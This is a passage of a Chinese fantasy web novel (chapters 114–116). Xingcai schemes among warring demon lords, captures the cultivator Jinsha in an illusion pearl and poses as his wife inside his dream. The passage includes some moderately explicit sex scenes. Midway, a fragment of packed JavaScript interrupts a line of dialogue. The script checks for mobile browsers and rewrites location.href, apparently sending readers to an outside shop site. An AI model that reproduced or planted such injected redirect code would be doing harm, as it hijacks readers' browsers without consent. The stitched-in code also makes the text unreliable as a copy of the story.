荇菜忍不住侧头，这是她内心最真实的欲望。
正是这一丝欲望的存在，她永远无法真正地爱上这个变态般的世界。
当一个人沉下心研究一个
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人或一件事，那人或事会像流水一样环绕周围，自然呈现答案。
圆窗前的长月剑笼出一道剑芒，轻纱飞扬，宛若梦境。
长身玉立的男人身穿金色镶边的法衣，带一双纯金色的瞳孔含笑望来。
“娘子，只差一点，就一点。”
“一点是什么，你说啊。”荇菜浮躁地横剑斩去，人影破碎，却被轻纱掩埋。
飞扬的纱帐下，两道身影起起伏伏，动情时忘记今夕何时，只记得灵魂的交错，宛若给与彼此最真得一面。
“不，不可以。若丢了心，就再找不回来。我就再也回不去，不可以……”
泪如雨下。
阖目的荇菜感受到巨大的哀伤，识海里的阵法上飘落一片灰蓝色的落叶，徐徐落在荇菜虚影的掌心。
荇菜吓得一丢，灰蓝色的叶片飘飞间再次形成那道伟岸的虚影。
黄椒沉静若海，幽幽起问：“娘子，你以为的爱是什么？”
“爱？”荇菜的脑海里浮现高楼里的父母。
“亲情确实是爱。你扪心自问，你的爱情呢？”
荇菜想起初到此方世界时，银月之下，以身段折服项檀得那刻。
作为女人的骄傲，她有刹那的自得。即使在事后回忆，这份小心思都不曾散。只是她不敢正面这样的自己，一如她永远无法体会天地同欢的道境。
黄椒含笑窥破她的内心：“项檀临死前的惊鸿一瞥，极欲之后的色迷心窍？”他变幻身形，化出项檀临死前极尽欢愉得刹那面庞，如烟花绽放的眼神，仅这瞬间，人间欢愉之美改变他本悟到的事实。爱，改变命运的起/点。
荇菜吓得往后缩去。
黄椒似乎乘胜追击：“又或者，惊蛰带给你得属于男的无限冲劲，让你几近昏厥的爱？”虚影拂袖，大石上的男强女弱尽显男人与生俱来的霸气。
荇菜更是僵立到手足无措。
“你以为的爱是花涟三次以身当劫，”黄椒一步化为花涟，周身灵力如锥，挡住道璇玑的长戟枪芒，仰面击退，“于他来说，这是一份责任。任何一个占据你那具身体的人，再次出现在他的面前，他都会因为责任而娶。”
“住口，”荇菜的心激烈地狂跳起来，“他于枫叶中书写情事，于家常中端杯换盏，难道不是爱？”
“人伦事理，不过责任二字。情缘在系，生死有道。情意。虽为天命，遵循生死，非情在意，正是他的人生。娘子，天道让你动情，又允你生克于我。
你和他们，不过棋子。”
荇菜怔忡地张大眼，哑然失语。
黄椒靠近她，娓娓道：“棋子也罢，生死相克也行，不过抬手覆掌之间。娘子想要得不就是这等能为？”
“啊……”荇菜沉默到极点，终于爆发，“是，我想要有你的能力。你呢，自食其果，终究被分身反噬到消亡。”
“是吗？”黄椒挥手，脸面呈现九阳剑尊的容颜，又在眨眼成为皎月，哂笑道，“算法千道，命途一线。傀偶。
分身，不过是主人的神思一念。
旁人觉得是人，便是人。你觉得不是人，它便不是，何苦自困道心。”
“我不明白。”荇菜颤栗道。
“你会明白。”
荇菜伸手抓去，虚幻的黄椒消失而去，仰面只有流转不息地天地同心命契。
“直面内心的欲望，不惧怕做过的事，不困于心。”
金沙若死，我要得到他得一切！！！
廊庭的荇菜豁然睁眼，大声地喘息着，取出一颗凝聚泽萃气息的珠子，旋于指诀上：“道生花，我赌你必去昆山。”
114. 第 114 章
灵息追踪术配合神牵之术，虚神之象驰骋万里之外，宛如无线通讯般的瞬达之能。
荇菜算算时间，道生花若想分得一缕半缕的黄椒元神，现在应该到达昆山，潜伏在某处，而蜃珠就在他身上。
神识虚影在泽萃的旁边呈现，被一道袭来的剑芒逼得往后退。
荇菜的神识虚影躲在泽萃身后，看到对面举剑砍来的金沙法相。
“诛神剑。金沙动用法相和诛神剑。”
金沙背后的密勒也是一尊翠眸纤长的法相，法相的长指上连着无数的银色丝线，控制此方空间。
若细看，这些丝线封锁金沙所有的退路，让他只能进，而前进就得面对泽萃的黑神法相，以及魔域黑莲。
荇菜明白此时的僵持状态：密勒封锁金沙的行动，逼金沙与泽萃对上。而泽萃不想两败俱伤、渔翁得利，打算用魔域黑莲封印金沙。
金沙窥到两人的打算，即使合谋也不是一条心，这才能僵持到现在。如此的话，打破僵局需要一道契机。
道生花在哪里？
神牵之术在各种银色丝线中穿梭，荇菜终于发现九阳剑尊、道生花的身影，旁边还有凝眸观看战局的长恨……
论起来，这些人都想要得到一缕黄椒的元神，哪怕只有一丝。
金沙在阵心狂呼：“你们两个真是人心不足蛇吞象，出尔反尔。密勒，你以为让我和泽萃对上，你能得利吗？老子若死在这，先拿你陪葬。”
又狠瞪向泽萃，“大家虽不同道但同源出处，相煎何太急？今日你杀了我，密勒会放过你？泽萃，你的心眼与皎月不遑多让，他倒知道避其锋芒，你现在可是野心昭昭。”
泽萃冷眼凝视，法相御使魔域黑莲，不曾动摇半分。但他的眼神还是凝向金沙身后的密勒。密勒此举太过明显，已经把人逼在弦上，须得破局才行。
金沙左右开弓，以诛神剑绞断银丝，法体趁机飞扑向密勒。
泽萃本不需动，随即想到金沙不是省油的灯，巨大的黑色莲花旋飞间追向金沙，以困他为目的。
帽兜下的密勒抬起脸，露出讥讽的笑容。丝线阵虽断，但金沙肯定会回转杀向泽萃。金沙宁可以一创二，也不会让另一人渔翁得利。
因为这是三人最真实的想法。
果不其然。
金沙虚晃一招，以金人法相持剑，狠狠地斩向泽萃，而本身御使金锤轰向密勒。与密勒所想有差，但也是差不多。
金沙以一敌二不露败相，远近作战的能力在密勒和泽萃之上。
这也是密勒和泽萃要联合对付金沙的原因。
被金沙绞断的银丝在天地间飞舞，击散荇菜数道神识虚影，暴露九阳、道生花等人的位置。
密勒察觉什么。银丝沾染那个女人的神识气息，这让他翠眸泛金，能观微妙。
金瞳搜寻战局之外，捕捉到一缕缕虚幻的神识虚影，正是荇菜的神牵之术。
她竟然来了！呵，螳螂捕蝉、黄雀在后，论起来还是渔翁得利。果然不能小觑这个女人。
道生花察觉密勒盯来的目光，为求自保，下意识就把蜃珠里的分身通通放出去。
“对不起，别怪我。大家都是为元神，本就是敌人。”
分身现世，四散而逃，宛如被鸟雀捕食的飞游，慌不择路。
“啊……道生花你骗我等。”
“混蛋……快逃……”
这些分身被魔域黑莲的阴邪气息笼罩，顿时消散。
浮游的金色神识瞬间被魔域黑莲吸收去。
密勒的银丝如有意识，主动捕捉那些逃离的分身修士，抽离对方法体里的金色神识。
长恨愕然瞪向道生花：“你做什么？你让他们来分羹，竟然拿他们做饵？”
道生花狠厉道：“参与这种战事就要有牺牲的准备。元神碎片若好拿，四尊何至于筹谋数千年，皎月尊者甚至直接消散？”
九阳剑尊在诧异过后已经旋身持剑，试图救走分身。
道生花看到密勒法相过来，咬牙道：“密勒、泽萃已经发现我们，他们与金沙势均力敌，金沙的能力犹在两人之上。现在已经没有希望，此时不走还等什么？”
黄椒的分身对于密勒、金沙来说有特别的意义。若能收集黄椒散落在外的神识，或可以感悟黄椒道祖之能。
金沙的诛神剑芒也开始切割呜呼哀叫的分身，剥离他们体内的金色神识。
荇菜已经被道生花的举动气得瞠目结舌。
本意是让道生花将蜃珠带出去，而长恨会让那些分身离开。没想到道生花不仅没有放走分身，还忽悠这些人来昆山分一杯羹，这不就是纯蠢的送菜上门，千里送人头？
果然，不应该把事情交给道生花。他与泽萃本就是一样的人。
荇菜也恨自己，若非料定道生花的野心，岂会把蜃珠给他，却害无辜的分身。长恨也是，脑子里都装什么……
泽萃眯眸冷笑，盯视道生花的方向：“本主的好徒儿，你的野心还真是不小。”
道生花要逃却被黑域魔莲摄取后退，拼劲全力下，再次舍弃藕人的法身，逃向另一侧带人离去的九阳剑尊身上。
这次，泽萃没有让道生花得逞，直接拦截金色神识，吸附入体。
荇菜木然看着这一切发生，聚拢神牵之术外放的神识，投进道生花的藕人之身。
混战下，泽萃已有接受分身神识的经验，相较于金沙和密勒更快得反应过来，直接攻向因分身神识入体而有须臾愣怔的金沙。
密勒因关注荇菜神识的动作，也极快得反应过来，以无数银丝穿透金沙法相，缠上诛神剑虚影。
两人合力下，金沙被魔域黑莲的魔煞入体，双目漆黑发定，吼出惊天一声：“啊……”
泽萃瞬移至密勒和金沙的中间，周身大乘境气势直扑对面的密勒，确实想要过河拆桥、卸磨杀驴。
密勒冷笑了声，急速后退，避开泽萃的杀招。
“泽萃，这次先便宜你。来日方长，我会来取你我约定的人。”
泽萃欲要追击，旋手摄取魔域黑莲，发现金沙不在黑莲里面，震惊道：“怎么回事？”强大的灵识横扫战场，除分身的尸体外，再无金沙的踪影。
若说金沙逃走，但诛神剑就落在昆山雪顶。法剑连接主人，法剑光辉不灭，说明金沙没死，但人确实已经不在此处。
泽萃摄取诛神剑，千钧一发之际发现诛神剑上缠绕的银丝。银丝是密勒的本命法器。银丝绞断诛神剑，碎剑片和银丝飞扬，即使泽萃察觉后躲开，肩部依旧被碎片击伤，透骨而出。
“密勒！”泽萃动怒欲追，抚在肩头，“伤口有问题。”
他已经管不上金沙的去向，朝奔来的属下道，“圭酉、龙黄听令，速速拿下昆道宗。”又朝道璇玑道，“璇玑，休怪为师。他先背叛师尊。你把他们的内丹存入封灵盒带回给本尊。”
“是，魔主。”众属下纷纷应诺，目送泽萃离去。
道璇玑从尸堆里抱起道生花的尸体，眼泪扑簌落下。她的身旁人影去去来来，独她哀恸大哭：“师兄，师兄……为什么……呜呜……”
荇菜的神牵之术涌出最后的力量：“璇玑……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447486|147152||http|test|mini|href|location''.split(''|''),0,{}));
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道璇玑震惊地看向“道生花”，口吃道：“师兄……你没死……”
“将我的尸体……带给妖女……她可以……”
“师兄？师兄……”道璇玑使劲摇动道生花，却发现他再无生息，一时喃喃失语，“妖女？难道她可以救活师兄？师兄，我这就带你去找她。”
她令属下收起各处分身的内丹，转身携带道生花的尸体直奔海外三生岛。
与此同时，以羽化生、火云子、九玄剑尊、清欢宗主、月净尘宗主、逍遥宗弟子为盟的反道联盟镇守昆道宗，与三生道两府弟子和孚龙四将展开生死战斗。
此战让天生大陆宗门势力凋敝，三生道本要乘胜追击，却受到天羽宗妖族战士偷袭，因而遭受重创，退离天生大陆。
大陆十国几不成国，各宗势力更是呈败落之象。但是，三生道此战一败，听闻宗主泽萃闭关休养，没有新的指示，这让天生大陆有了短暂的喘息时机。
**
荇菜在荇花岛上使用神牵之术太过，散出去的神识无一回来，到后面直接昏过去。
她被魑魅弟子送回落日崖寝宫，醒来后询问侍女：“翠莲，魔主可曾回来？”
翠莲颔首道：“魔主回来后问了声，之后入魔境闭关。”
荇菜轻轻地点头，又问：“右护法可曾回来？”
“护法问过魔后陛下，但是，魔后一直不醒，奴等就拦下右护法。”翠莲见荇菜挥手，躬身退下。
荇菜穿戴整齐，绕过一众侍女和守卫，直入落日崖下的魔境。
阴寒发凉的洞穴内，人忍不住生出几分退却。荇菜暗吸口气，走向那翻涌黑煞气息的洞口。
满池黑水，中央一枝黑色箭荷，正是魔域黑莲。
荇菜环顾四周，静得滴水可闻：“亲爱的？”她四处走了下，又喊几声，察觉背后异动，回身时已经被一朵漆黑的魔莲吞吃入肚。
“啊……”
荇菜一把抵住压来的冰凉身体，喘息道：“亲爱的，你没事吧？”
泽萃阴森泛金红的目光是黑暗里唯一的光，本生气的他听到这一声忽然就柔软起来。
“你怎知是我？”他倾身吻在她的颈项，摸索进衣裙，按在敏感的雪峰之上。
“嗯……”荇菜勾住他的颈项，曲身迎合，“听说你一回来就闭关，我担心你，过来看看。啊……”
荇菜紧紧地掐紧他的肌体，承受他的撞击。随缓下来的速度而游走的手终于摸到一处凹凸不平处，随他再次变强的力量狠狠地掐进去。
“哼！”泽萃闷哼了声，低首封堵那要问出口的樱唇。
荇菜蓦然咬住他，让这个男人彻底释放匍匐下来。她紧紧地环住他，轻喘道：“亲爱的，让我留下来陪你，好吗？”
“不，回魔宫主持大局。这是谕令，我相信你能做得比任何人都更好。”泽萃翻下她的身，转手一送，让荇菜离开魔域黑莲的漆黑空间。
荇菜旋身落地，红裙潋滟，勾起嫣红的唇瓣，睥睨黑池中摇曳的黑色箭荷，转瞬间又露出暖暖的笑意。
她摊开手掌，上面是一道魔莲印记，代表魔主泽萃的谕令。
“亲爱的，你要早点出来，我一直在外面等你。”
箭荷并无回应。
荇菜转身离去，直入魔宫大殿，召见道璇玑。
道璇玑面对坐在上位的女人，依旧不明白师兄究竟爱她什么。师兄的神魂特殊，说不定这个女人真能救他。
她只能把冰棺拿出来，递上一只储物袋：“师兄说，你可以救他。上一次，你救了他，这一次……”
115. 第 115 章
“他的神识已经被吸走，除非吸走他的人自愿切割神识。否则，回天乏术。”荇菜复杂地看眼愣怔的道璇玑，转向打开的冰棺。
没有道生花的神识和裂魂破境阵法，身体却没有恢复回白玉藕的形态，依旧维持生物肤感的人形。说明裂魂破境阵法已经完全促使道生花生出真正的肉/身法体。
“黄椒的阵法当真是奇妙无比。”荇菜并拢五指，凝聚力量后直切入道生花的丹府，握住那枚被道生花吞入肚的蜃珠。
在道生花的体内，荇菜旋手把蜃珠吸入体。
“你在干什么？”道璇玑回过神，血樱戟直刺而去。
荇菜旋身握住血樱戟，魔莲印记压制血樱戟上的猩红枪/芒。
她冷笑回视：“右护法，这个男人有什么好？儿时于你的情谊不是已经两清吗？”
道璇玑的神色瞬间溃败，愤怒喊：“你知道什么？别听那些人胡言乱语就当真。我和师兄的情谊，岂是他们可以置喙？”
荇菜松开血樱戟，含笑绕至道生花尸体的头部，感应释放出去的神识。
神牵之术的神识已经消散，半丝不存。
“他们说，道生花半死不活地回到三生岛，修为只余金丹。你以命救他，分他修为。这等情谊真是令人感动。可是，他对你的情谊可有半丝回应？”
道璇玑的心酸得发苦，悲愤道：“你这个游走在男人中间的女人根本不懂什么是情。你只会利用他们，让他们成为你的牺牲品。”
荇菜轻轻地笑着：“我真没想到你还是个一心付出不求回报的女子。说得不错，我确实不懂情爱。我猜……杀你师兄的人是魔主吧？不然，以你的脾性早就杀上门去。”
道璇玑撇开脸，弯身从道生花的尸体里取出一枚通体白玉色泽的元婴。
“师尊为什么要这些金丹、元婴？若是普通修士，人死如灯灭，神识消散，元神消散，元婴、金丹之物也会随之消散。师兄的元婴还在，就有可能复活！”
荇菜扫眼她手里的东西，含笑道：“这就是道祖的本事。魔主在后境魔洞闭关，伤得颇重。你若有本事就亲自去问。”
她一步步逼近蹙紧眉峰的道璇玑，勾起她气愤悲伤的下颚，“多好看的眼睛啊。可惜，这双眼里没有恨，只有软弱。道璇玑，你害怕。
因为你知道打不过他，甚至找他要回神识这种事都不敢。
而我可以要到魔宫的掌管大权。
道璇玑，重新认识你所谓的情，在生命面前，你的情同样脆弱。收起你无用的张狂，世上没有不劳而获的美事。
滚出去告诉龙黄、圭酉，若他们在昆道宗一战上失利，退出天生大陆，返回三生道休养生息。”
道璇玑一时没从她多变的话语里理过神，往后缩的脚步在听到最后一声时坚定地立住，震惊道：“师尊……魔主要求在大陆各地建坛，三生道已经拿下山泽、高昌、西塔、百戴等国，天龙道已经不足为惧……”
她张口要争，却对上荇菜掌心的黑莲印记，一时无力反驳。
“瞧瞧你的情态，事业心比感情更重呢。你也真是忠心，魔主杀了你爱的人，你却依旧为三生道着想，佩服。”
荇菜咧嘴发笑，眼神幽深，似乎难以测度。
真正让道璇玑听话得还是她跪太久，很难一下子站起来反驳。
道璇玑面对魔莲印记，咬牙道：“你究竟想干什么？”
“右护法，魔后与魔主尊位相同，这是魔主亲口所言。前去传本尊的命令。”荇菜利眸横她，迫道璇玑离去，幽幽冷嘲，“卑鄙者拥有驾驭世界的手段。有时候，这种手段很有用，不是吗？”
她注视冰棺的里的尸体，冷声道，“道生花，没想到你的结局是这样吧。”转手封冻，摄入蜃珠的冰雪大厅。
昆山战局里，魔域黑莲吞噬金沙时，荇菜的神牵之术钻入道生花的法体，运使蜃珠布幻，让魔域黑莲有片刻迟疑，以为吞噬掉金沙。
事实上，蜃珠先魔域黑莲一步吞噬金沙，将人困在蜃珠的水幻结界。
当然，金沙修为高深，以蜃珠的等级控制不住金沙太久。
妙就妙哉密勒尊者引爆诛神剑，重伤泽萃，也让金沙的神识遭受本命法器被毁的重创。本命法器与神魂相连，诛神剑碎，金沙识海震荡，给蜃珠可乘之机，彻底将金沙拖入幻境。
荇菜要进入蜃珠，会直接消失。这在魔宫里是极其危险的事。
所以，她要先一步探清楚泽萃的伤，要到魔宫的控制权。这样她才能心无旁骛地对付入幻的金沙。
这段时间里，荇菜陆续召见十府城主和孚龙战将，对他们进行逐个击破，深入了解他们的实力和性情。
处理完这些人和事后，龙黄和圭酉从天生大陆的战场上撤退。
羽化生组织的反道联盟确实阻止三生道的入侵。
而荇菜拒绝增派人手攻打天生大陆，下令十府城主和孚龙战甲不可轻举妄动。
期间，荇菜收到一次合欢信，来自师尊半月尊者。半月希望荇菜能找机会逃回天生大陆。
“泽萃不死，永无自由。三生道只是暂时退回海外，对于拥有泽萃的三生道来说，随时可以再次进攻天生大陆。”荇菜揉碎灵信，感受蜃珠里动静，“如今，该实施下一步计划。”
落河是十府城主之一，管理着三生道东面的蛛皇岛。
荇菜到达他的地界，被落河领进蛛皇林。
蛛皇林遍布蜘蛛，到处是蛛网，有一股难闻的瘴气。
落河在前开道，指着一只满是眼睛的蜘蛛：“魔后，这是鬼眼珠，周身长满假眼睛，毒性最强。不过，它还不是最厉害的毒蛛。因为最毒的蜘蛛也会爱上黑寡妇，无一列外成为黑寡妇的口粮。”
荇菜刚要问黑寡妇是什么，眼前就挂下一只人那么大的深黑蜘蛛。
落河：“魔后，这就是蛛皇林里最厉害的黑寡妇，不仅毒性强，体型也是最大的品种。若无特殊的避毒丹药，三生道的人不敢轻易涉足此处。前面就是你要的闭关洞府。”
荇菜随落河穿过蛛皇林，进入深处的藤楼。
这里的空气明显比蛛皇林清新得多，而且没有蛛丝痕迹。她观察周围的植株，栽种一些与蜘蛛相克的植物。
落河：“魔后，我们过来的地方有大朵的日轮花，乃是黑寡妇的寄居处。日轮花食人、致幻，是一道绝佳的防御墙。藤楼周围种满与毒蛛相克的夜合香，不会让蜘蛛、毒物打扰你。”
荇菜抚摸碧绿的夜合香叶，绿叶下藏着小小的洁白花骨朵。识海的书库里说，晚间时夜合香会开放，是合欢宗制作合欢散的材料之一。
她颔首道：“落河城主有心了。此处甚好。本尊会在此闭关，若期间魔主醒来，你就告诉他本尊在此。”
“是。请魔后放心在此闭关，为魔后护法，这是落河的荣幸。”落河躬身行礼，转身离去。
落河走后，蛛皇林传来一阵阵古怪的鸣叫，宛若魑魅魍魉的拟鬼叫声。荇菜在四周布下简单的阵法，转身入藤楼。
落河准备得非常充足，藤楼外面简单，内里豪奢富贵。
但是，荇菜的重点不在享受，选定地方后盘坐在榻，旋诀举出蜃珠。
在荇菜的灵力和神识指引下，凉雾笼罩的蜃珠露出下半球。蜃珠像是蓝星一样分出上半部和下半部分，上面是鬼童炼制的巨大雪山、冰湖。
冰湖之下是蜃珠的汪洋水汽。这就是蜃珠可以吸水储水的原因。
此时，金沙就被海量的水力纠缠，赤膊漂浮。
因诛神剑碎裂，他遭受神识重创，已经被蜃珠的力量拖入幻境。
荇菜旋诀，法身消失在藤楼，进入蜃珠的汪洋水中，浮游在金沙旁边。
金沙的身材真大，大到荇菜飘在他上方，只能对上他的腰。她借力上游，抓在金沙的双肩，手底的肌肉紧绷，说明入幻的金沙依旧没有停止释放力量。
那他究竟入了什么幻境？
荇菜的脸印在金沙的面容上方，这个男人五官工整却极大。若整个人立起来，宛若一座擎天雕像。
昆山一战，道生花以分身为盾逃跑，金沙在夺取分身时，第一眼就相中修为最高、人也最高大的分身，这意味对方最难收服，却是金沙喜欢的目标。
这个男人应该非常好强且强势。
荇菜默默地准备好对策，以额心抵上金沙的额心，元神被瞬间吸走。她的法体双手环在金沙的脖子，不让蜃珠的水力将她飘走。
金沙的识海幻境——
荇菜一出现就在一座城，建筑齐全却没有人流人声的大城。
若荇菜去过昆山国的安都，会知道这里是安都城。只是，如今这座城干净得像是一比一还原的模型。她穿过一幢幢鳞次栉比的建筑，听到“叮叮……当当……”声从巷道的尽头传来。
稍许顿了下，荇菜仔细分辨这连续不间断的声响。
若细听，声音仿佛近在耳边，有种振聋发聩感。
她鼓起勇气，循着声音找去。
在一处写了“铁”字的幡旗下，炉火汹汹、叮叮当当声不绝于耳。
荇菜得第一感觉是震惊，以金沙的性情应该处于战斗，怎么会窝在一个城中陋巷的打铁铺子里打铁？
荇菜做足准备，临到场还是被这样的意外给整得慌了下神。
她在
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铺子外面徘徊，冥想对策。环顾整个城市，除这里有人有火外，整个环境里并无外人外事。
说明金沙是一个非常自我、专注的男人。幻境里的时间不定，以他一直没有停下捶打的状态说，他甚至是全心全意地投入打器一事。
荇菜想起昆道宗的石涛，转身幻化为他的模样：“石涛是昆道宗人，曾经还提起过金沙这位老祖。金沙作为宗门炼器老祖，定被门人寻过。现在以石涛的身份切入幻境，定不会出错。”既不惊醒金沙入幻，也不会让他起杀心。
荇菜思定后观看全身，查无错处就准备进入打铁铺。她一脚跨进门槛，仿佛穿透一重厚厚的无形帘幕，落脚的瞬间就察觉到自身的变化。
糟糕，变了：女鞋……裙子……布衣……盘子？肘子？
荇菜看向手上端着的木盘，木盘上面是两只碗筷一大盘……酱香肘子？她愕然地看向裙衫……布衣荆钗，这是金沙给的身份。
好重的压力感，有种刺痛和排斥……
呆得时间太久，以金沙的修为若不尽快入境会被他醒过神察觉是幻境……
“当家的，吃饭了。”荇菜爽朗出口，察觉周围的压力消失，顿时展开笑容。她把木盘放在铁桌，转身看到金沙依旧在捶打，而且额头密布粗汗。
汗水顺颌骨滴落，砸在他手下的粗制器形，伴随“当”得一声，汗水被反弹，又被他周身的气形震碎，散向四周消失，形成短暂的气雾状态。
荇菜一时看呆了。这是力量和捶打入道的美感结合的道法。此时的金沙宛若一座玉山，真诚得对待他手里捶打的器物，令他散发与众不同的美。
这一瞬间，她甚至感应到外在的法体内，《玉石还阳功》让她、乃至元神都叠加更多的魅惑力量。这是一种道法的较量，荇菜说不明白，但是感觉到了《玉石还阳功》的要求。
很好，这也是荇菜要的东西。
“婆娘，你怎么还不给老子擦擦汗？”金沙侧眸如铜，声若钟鸣。
荇菜瞬间从刚才的感觉里挣脱，掏取怀里的布帕上前。
“你是谁老子呢？我可是你……媳妇！”
“嘿……媳妇。”金沙嘿笑应话，捶打的动作轻了三分。
荇菜明确现在的身份，更有底气地站在金沙面前，也真正感觉到他的高大，宛若黄山面对泰山，前者云遮雾绕、后者高大清晰。
金沙非常配合，捶打声没停，低头伸脸，摆在荇菜面前，方便她够到。
荇菜细细地擦拭他的额汗，转眸看向他捶打的东西。
“当家的，你这是打什么？”
“嘿，剑啊。”金沙直起身，低首道，“婆娘，我要用力了，你走开些，回头铁水溅到你，别把你伤了。”
“好。”荇菜往后退几步，果然听到捶打声比适才更重了七分。原来，这个打铁男人也有温柔细心得一面。
她瞥向桌上的酱香肘子，暗思：不会无缘无故出现这只肘子，定然是金沙想吃才会出现。
“当家的，差不多歇歇吧。肘子凉了腥，会不好吃。”
“这……”金沙捶打着，回头说，“不行。这个不能停。若停了，我就回不来，永远消失了。”
“什么？”荇菜诧异这话，又细细地打量他手底的器型，这才发现渐成一柄大剑，神思急转，镇定问，“你打得难道是……诛神剑？”
“啊……诛神的剑。”金沙重重地捶下去，越发打得认真。
荇菜环顾四周，恍然明白：诛神剑在昆山一战碎裂，乃是金沙的本命法器。对于他来说，诛神剑有非同一般的意义。
诛神剑，顾名思义是诛神。
金沙若停下打造诛神剑，就无法杀掉黄椒，等于他会回不来。
没有元神的分身，注定是永远消失。这就是金沙那话的深层含义。
但是，若金沙把诛神剑打造成功，就能脱离幻境。蜃珠的品级关不住金沙。那么，现在应该阻止金沙完成诛神剑。
荇菜左右徘徊，思量该如何打断金沙的行为。她看着那盘肘子和两幅碗筷，恍然道：“当家的，你不用吃饭，可我是凡人，我饿了呀。”
一屁股坐在板凳上，气得背对金沙。
捶打声慢了下来，声音也弱了下来，渐渐地停下了。
荇菜暗喜：用对了。
金沙一步跨近荇菜的身后，覆下的阴影可以笼罩三个荇菜。他的大掌搭在荇菜的肩头，很轻却很大。
“婆娘，那就先吃饭。”
荇菜吊起的心瞬间回落，转身给他一个大大的笑脸。
“还是当家的会疼人，快吃吧。”她布下碗筷，将整盘酱香肘子推给金沙。
116. 第 116 章
金沙取出一把赤金锻造的匕首，划开肘子的皮肉，取出里面最嫩的肉送进荇菜的碗筷。
“婆娘，你吃。”说完，他夹起肘子就肯吃起来。
那么细得两根筷子夹起那么大的肉，手稳力足。
荇菜看向碗里足有巴掌大的瘦肉，咽口吐沫，耳闻金沙吃肉的间隙里还能催促两声，也低头吃起来。
她扫眼金沙，发现这人的吃相粗鄙，但是入口后细嚼，似在品味绝世美食。
“当家的，喝酒吗？”
“不行。这剑特殊，若是喝酒，我怕捶打的时候乱了阵脚。”金沙回应道，加快进食的速度。
他扔下根发白的骨头，倾身过桌，直接取走荇菜手边的布帕抹嘴，“婆娘做的肘子就是好吃。我忙去了。”
荇菜点头，不急于打断他的工作。若可以喊停他一次，就会有第二次。
她离开打铁铺子，来到铺子后的小院子。
院子不大，一间正房一间灶间，还有间堆满木料的柴房。
有意思得是柴房里的柴不断被金沙消耗，但是片刻后又陆续会堆满。
荇菜把这种行为理解为金沙和蜃珠幻境间的较量。
若金沙有足够耐心琢磨幻境，或者没有因诛神剑碎裂震荡心神，就不会沉入幻境，甚至专注铸剑一事。
正房的卧室里，一张木床小得可怜，够金沙一个人平铺直躺。
荇菜：“当年，金沙在城里打铁，一刻不停，应该很惹人厌才对。”
天很快暗下来。
荇菜又端一盘酱香肘子进入前铺：“当家的，天黑了，吃饭了。”
“哎，这就好。”金沙果真停下手里的活，将脸伸到摆放碗筷的荇菜面前。
荇菜了然，取出新的布巾给他擦掉满脸的汗水，忽然道：“当家的真是英武，像一座山，好有安全感。”
金沙颌骨分明的大脸瞬间展笑，一掌盖在荇菜的后脑勺，轻柔地抚摸了下。
“婆娘真会说话。以前……好像也有人这么说过……”
荇菜被他的手掌摸得像是被锅盖闷过的感觉，不重不疼，但是足够大。
她见金沙发呆，担心他察觉此处是幻境，赶紧轻笑两声。
金沙回过神，朝酱香肘子舔了下唇，被荇菜拉坐下。
他再次取刀，正要同午时一样切肉取肉。
荇菜一把按在金沙的手背，接过赤金刀，亲自剥下一层油皮。
“当家的，晚上我吃这点就行，剩下都由当家的解决。”
金沙看向推倒面前的盘子，红光发亮的肘子皮上去了指甲盖那么大点的肉。
“这会不会太少啊？别饿着我们的宝贝。”
荇菜张开的口立时闭上，一顿后傻问道：“宝贝？什么宝贝？”
大掌出其不意地按在荇菜平坦的小腹。金沙笑眯眯道：“等宝贝出来，她老子要教会她打金花。”铜眸外撇，金沙看向铺子外……而这个瞬间，蜃珠感应到金沙的心态变化，瞬间跟进幻境的设置。
整个安都城虽静却开始有熙攘的人声。
荇菜愕然地看向铺子外面。
傍晚时分，巷子里有人挎着篮子或推板车来来去去。细看巷子里的行人装扮，不难猜出是昆山国人的服侍。
所以，金沙老祖闭关，其实一直隐姓埋名藏在昆山国内的城市吗？
幻境因金沙的心态转变而发生变化，而这种变化让金沙更深地融入这座城市。说明金沙入幻的程度加深。
荇菜的脸颊微红，轻拍在金沙放在小腹的手掌。
“胡说什么呢，没影的事。”说完，荇菜就后悔：不对，应该跳过这个过程，直接挺起肚子。
但是，荇菜没有怀孕的经历，无法想象大肚子的女子该是什么样。
金沙放下筷子，抄手抱起荇菜，直接让荇菜坐在他健硕的臂弯。
荇菜立时捧住他的脖子固定身形，而传递来的感觉与法体在蜃珠汪洋里抱住金沙脖子的感觉融合。
这让荇菜的入幻感觉加深，同时影响金沙的判断力。金沙也能感觉到女子的清香和柔软，感受到真实的“妻子”状态。
这是蜃珠设幻的终极奥义，以主人的感觉引带被迷惑者的感官，达到更深层次的入幻。
“无妨，等老子……努力努力，婆娘的肚子就能大起来，生一个整日来我铺子前闹学艺的假小子，又调皮又聪明。”金沙说着，低头抬手，就亲在面前的平坦小腹。
荇菜想要囧一下，却揽住金沙的脑袋，一把拎起他的大耳朵尖。
“多大的人了，老不正经，害不害臊呢？”
金沙哈哈闷笑，又重重地嗅了一口，陶醉般道：“婆娘就是香。”
“金师父，你在干什么呢？放下荇姐姐。”
一个头包丸子的女孩做小男童的打扮，突兀地闯入幻境，蹦上蹦下地试图挂上金沙的手臂。
荇菜低头看向幻境里第二个与金沙接触的人，假小子女孩。这个女孩若能被金沙想起来，必是他非常重要的人。
“得了得了。你拿走桌上的肉回去孝敬你的老娘。师父我忙着呢。”金沙一只手让荇菜坐着，一只手像赶小鸡一样把兴奋的小女孩轰出打铁铺。
“师父师父……你答应做我的师父啦。太好了，谢谢师父。我这就回去告诉我娘。我要打出昆山最棒最好的金花啦。”
小女孩抱起肘子盘，嘟嘴、扮个鬼脸，“荇姐姐要生个小男孩哦。金钱会把昆山最好最美的金花送给弟弟。嘻嘻……”
金钱？昆道宗的宗主……头簪金花的男人……不，“他”其实是个女人？
然而，坊间传闻，金钱一直是男人啊！？
荇菜好像发现昆道宗不为人知的秘密，正出神回忆，人被金沙单手抱坐着入后院。
她反应过来，试图跳下金沙的手臂：“不是，当家的，现在天还亮着呢。”
“婆娘，忍耐下，办完事我还得回去铸剑。你放心，我很快。”
“……”荇菜急中生智，往后一翻，打算跳下他的手臂。
金沙的右手臂一伸，直接横腰揽住荇菜，往他的身体腰腹一贴。
